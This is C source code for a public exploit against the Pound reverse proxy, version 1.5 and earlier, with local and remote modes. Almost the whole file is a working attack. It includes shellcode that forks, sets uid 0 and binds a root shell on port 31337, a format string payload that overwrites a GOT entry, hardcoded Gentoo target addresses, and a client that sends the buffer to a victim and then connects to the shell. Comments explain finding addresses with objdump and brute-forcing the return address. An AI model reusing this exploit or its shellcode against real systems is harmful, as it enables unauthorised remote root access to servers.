/*
	Pound <=1.5 remote format string exploit (public version)
	by
	Nilanjan De - n2n@front.ru
	Eye on Security Research Group, India, http://www.eos-india.net
			
	Vendor URL: http://www.apsis.ch/pound/
	
	Local exploit is only useful is pound is setuid
	The shellcode used doesn't break chroot
	if you need to break chroot, use a different shellcode
	
	To find jmpslot:
	For remote:
		objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1
	for local:
		objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1
		
	Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem.
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 8888
#define BUFSIZE 1024
#define NOP 0x90
#define POUND "/usr/sbin/pound"
#define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n"
#define LOCALHOST "127.0.0.1"
typedef enum {LOCAL,REMOTE} type_t;
struct target
{
	char *arch;
	unsigned long jmpslot;
	unsigned long ret;
	unsigned int align;
	unsigned int  offset;
 	type_t	type;
} targets[]=
	{
		{"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE},
		{"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL},
		{NULL,0x00,0x00,0,0,0}
	};
	
/*
 x86 linux fork+portbind shellcode(port 31337)
*/
 
char shellcode[]=
	/* sys_fork() */
	"\x31\xc0"                      // xorl         %eax,%eax
	"\x31\xdb"                      // xorl         %ebx,%ebx
	"\xb0\x02"                      // movb         $0x2,%al
	"\xcd\x80"                      // int          $0x80
	"\x38\xc3"                      // cmpl         %ebx,%eax
	"\x74\x05"                      // je           0x5
	/* sys_exit() */
	"\x8d\x43\x01"                  // leal         0x1(%ebx),%eax
	"\xcd\x80"                      // int          $0x80
	/* setuid(0) */
	"\x31\xc0"                      // xorl         %eax,%eax
	"\x31\xdb"                      // xorl         %ebx,%ebx
	"\xb0\x17"                      // movb         $0x17,%al
	"\xcd\x80"                      // int          $0x80
	/* socket() */
	"\x31\xc0"                      // xorl    %eax,%eax
	"\x89\x45\x10"                  // movl    %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
	"\x40"                          // incl    %eax
	"\x89\xc3"                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
	"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
	"\x40"                          // incl    %eax
	"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
	"\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx
	"\xb0\x66"                      // movb    $0x66,%al
	"\xcd\x80"                      // int     $0x80
	"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)

        /* bind()*/
        "\x43"                          // incl    %ebx(SYS_BIND = 0x2)
        "\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)(AF_INET = 0x2)
		  "\x66\xc7\x45\x16\x7a\x69"      // movw    $0x697a,0x16(%ebp)(port=31337)
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x89\x55\x18"                  // movl    %edx,0x18(%ebp)
        "\x8d\x55\x14"                  // leal    0x14(%ebp),%edx
        "\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)
        "\xc6\x45\x10\x10"              // movb    $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* listen() */
        "\x40"                          // incl    %eax
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x43"                          // incl    %ebx
        "\x43"                          // incl    %ebx(SYS_LISTEN = 0x4)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* accept() */
        "\x43"                          // incl    %ebx
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
        "\x89\xc3"                      // movl    %eax,%ebx
 
        /* dup2() */
        "\x31\xc9"                      // xorl    %ecx,%ecx
        "\xb0\x3f"                      // movb    $0x3f,%al
        "\xcd\x80"                      // int     $0x80
        "\x41"                          // incl    %ecx
        "\x80\xf9\x03"                  // cmpb    $0x3,%cl
        "\x75\xf6"                      // jne     -0xa
 
        /* execve() */
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x52"                          // pushl   %edx
        "\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
        "\x89\xe3"                      // movl    %esp,%ebx
        "\x52"                          // pushl   %edx
        "\x53"                          // pushl   %ebx
        "\x89\xe1"                      // movl    %esp,%ecx
        "\xb0\x0b"                      // movb    $0xb,%al
        "\xcd\x80";                     // int     $0x80

int
connect_to(char *host, unsigned int port)
{
	struct hostent *h;
	struct sockaddr_in sin;
	int sock;
	
	if((h=gethostbyname(host))==NULL)
	{
		printf("- Error: Unable to resolve %s\n",host);		
		exit(EXIT_FAILURE);
	}
	printf("+ Resolved %s\n",host);
	sin.sin_addr=*((struct in_addr *)h->h_addr);
	sin.sin_family=AF_INET;
	sin.sin_port=htons((u_short)port);
	if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
	{
		perror("socket");exit(EXIT_FAILURE);
	}	
	if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0)
	{
		perror("connect");exit(EXIT_FAILURE);
	}
	printf("+ Connected\n");
	return sock;
}

int sh(int sockfd) {
   char snd[1024], rcv[1024];
   fd_set rset;
   int maxfd, n;
 
   strcpy(snd, COMMAND "\n");
   write(sockfd, snd, strlen(snd));
 
   for (;;) {
      FD_SET(fileno(stdin), &rset);
      FD_SET(sockfd, &rset);
 
      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
      select(maxfd, &rset, NULL, NULL, NULL);
 
      if (FD_ISSET(fileno(stdin), &rset)) {
         bzero(snd, sizeof(snd));
         fgets(snd, sizeof(snd)-2, stdin);
         write(sockfd, snd, strlen(snd));
      }
                                                                                
      if (FD_ISSET(sockfd, &rset)) {
         bzero(rcv, sizeof(rcv));
                                                                                
         if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
            printf("+ Good Bye!\n");
            return 0;
         }
                                                                                
         if (n < 0) {
            perror("read");
            exit(EXIT_FAILURE);
         }
                                                                                
         fputs(rcv, stdout);
         fflush(stdout);
      }
   }
}
                                                                                

void
usage(char *progname)
{
	int i;
	printf("Usage: %s <type> [RemoteHost]\n",progname);
	printf("Available types:\n");
	for(i=0;targets[i].arch!=NULL;i++)
	{
		printf("\t%d\t-\t%s\n",i,targets[i].arch);	
	}
	exit(EXIT_FAILURE);
}
int
testifworked()
{

}
int main(int argc,char **argv)
{
	char *victim;
	int s;
	int i;
	int high,low;
	unsigned int port=PORT;
	struct target *t;
	char buf[BUFSIZE];
	if(argc<2) usage(argv[0]);
	i=atoi(argv[1]);
	if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1))
	{
		printf("- Invalid target type\n");
		exit(EXIT_FAILURE);
	}
	t=&targets[i];

	high=(t->ret & 0xffff0000) >> 16;
	low=(t->ret & 0x0000ffff);
	
	memset(buf,NOP,BUFSIZE-1);
	buf[BUFSIZE-1]=0;
	
	if(t->type==REMOTE)
	{
		if(argc<3) usage(argv[0]);
		victim=argv[2];
	}
							
	
	if(high>low)
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot+2;
	}
	else
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot+2;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot;
		high^=low^=high^=low;
	}
	buf[t->align+9]=0;
	
	if(t->type==REMOTE)
		low-=0x16+t->align;
	else
		low-=0x28+t->align;
	i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1);
	buf[t->align+9+i]=NOP;
	memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode));
	buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r';
	buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n';
	
	if(t->type==LOCAL)
	{	
		if(!fork())
		{
			execl(POUND,"pound","-f",buf,0);
			perror("exec");exit(EXIT_FAILURE);
		}
		victim=LOCALHOST;
	}
	else
	{
		printf("+ Connecting to victim\n");
		s=connect_to(victim,port);
		printf("+ Attach?");
		scanf("%c",&i);
		printf("+ Sending evil buffer\n");
		if(send(s,buf,BUFSIZE,0)!=BUFSIZE)
		{
			perror("send");exit(EXIT_FAILURE);
		}
		close(s);
	}
	
	sleep(1);
	printf("+ Checking if exploit worked\n");
	s=connect_to(victim,31337);
	sh(s);
	exit(EXIT_SUCCESS);
}
